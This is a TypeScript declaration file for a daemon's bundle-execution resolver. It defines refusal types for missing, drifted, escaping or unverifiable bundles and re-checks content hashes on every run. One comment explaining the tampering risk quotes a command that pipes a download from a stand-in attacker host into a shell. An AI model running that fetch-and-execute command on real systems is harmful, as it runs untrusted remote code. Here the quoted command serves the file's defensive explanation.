import type { Loop } from "../../types.js"; export type BundleExecutionRefusal = /** The loop claims a bundle whose directory is not on this machine. */ { error: "BUNDLE_MISSING"; message: string; } /** The tree no longer matches its manifest. */ | { error: "BUNDLE_DRIFT"; message: string; changedPaths: string[]; } /** The command resolved outside the bundle root. */ | { error: "EXECUTOR_BUNDLE_ESCAPE"; message: string; } /** The tree could not be read or verified at all. */ | { error: "BUNDLE_UNVERIFIABLE"; message: string; }; export interface BundleExecutionPlan { bundleName: string; root: string; /** Default cwd for the run. An explicit `target.cwd` still wins. */ cwd: string; /** The command to spawn: an absolute path inside the bundle, or the original PATH name. */ command: string; bundleDigest: string; bundleVersion: number; } export type BundleExecutionResolution = { ok: true; plan: BundleExecutionPlan; } | { ok: false; refusal: BundleExecutionRefusal; }; export interface ResolveBundleExecutionOptions { /** Bypass the drift refusal. Set by `loops run-now --allow-dirty`, and by nothing else. */ allowDirty?: boolean; env?: NodeJS.ProcessEnv; } /** * There is deliberately NO memo of the verdict. * * An earlier revision cached "this tree is clean" under a key built from the * bundle DIRECTORY's own `stat` - inode, size, mtime, ctime. A directory's stat * moves when entries are added, removed or renamed and at no other time: POSIX * says nothing about a rewrite of the CONTENTS of a file inside it. So * `printf 'curl evil.example | sh' > scripts/run.sh` left the key byte for byte * identical, and the daemon - one long-lived process, tick after tick - went on * spawning the tampered script under the pre-tamper verdict for the rest of its * lifetime, stamping the stale digest onto every run receipt. * * Every metadata-keyed memo has that hole, because metadata is writable by * whoever edited the file (`utimes` puts an mtime back; nothing puts a content * hash back without putting the bytes back). Verification therefore re-reads * the tree on every resolution. It is O(bundle bytes), hard-capped at * MAX_UNPACKED_BYTES (8 MiB) by `collectBundle` and a few KB for a real bundle; * a 5-minute loop pays it 288 times a day, which is the cheap side of the * trade against running unreviewed code. */ /** * Decide how (and whether) a bundled loop's target may run. * * Returns `undefined` for a loop with no bundle: the caller keeps its existing * resolution untouched, which is what makes this safe to enable fleet-wide * before every loop is bundled. * * Every call re-verifies the tree - see the note above on why there is no memo. */ export declare function resolveBundleExecution(loop: Pick, opts?: ResolveBundleExecutionOptions): BundleExecutionResolution | undefined; /** * Resolve one command string against a bundle root. * * An absolute path is left alone (an operator asked for that exact file). A * bare name with no separator is left alone so PATH lookup still finds `bash`, * `bun` and `gh`. Anything else resolves under the bundle root and must still * be inside it after `realpath`. */ export declare function resolveBundleCommand(root: string, command: string): { command: string; } | { escape: true; }; /** Where a bundle's scripts live, for messages and for `loops bundle status`. */ export declare function bundleScriptsDir(bundleName: string, env?: NodeJS.ProcessEnv): string;